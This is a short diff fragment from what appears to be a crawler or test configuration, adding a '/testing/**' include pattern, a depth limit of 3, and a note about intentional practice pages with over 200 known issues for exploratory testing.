+ include_patterns: ["/testing/**"]
13
+ max_depth: 3
14
+ notes: "Intentional test pages with 200+ known issues. Perfect for validating exploratory testing skills."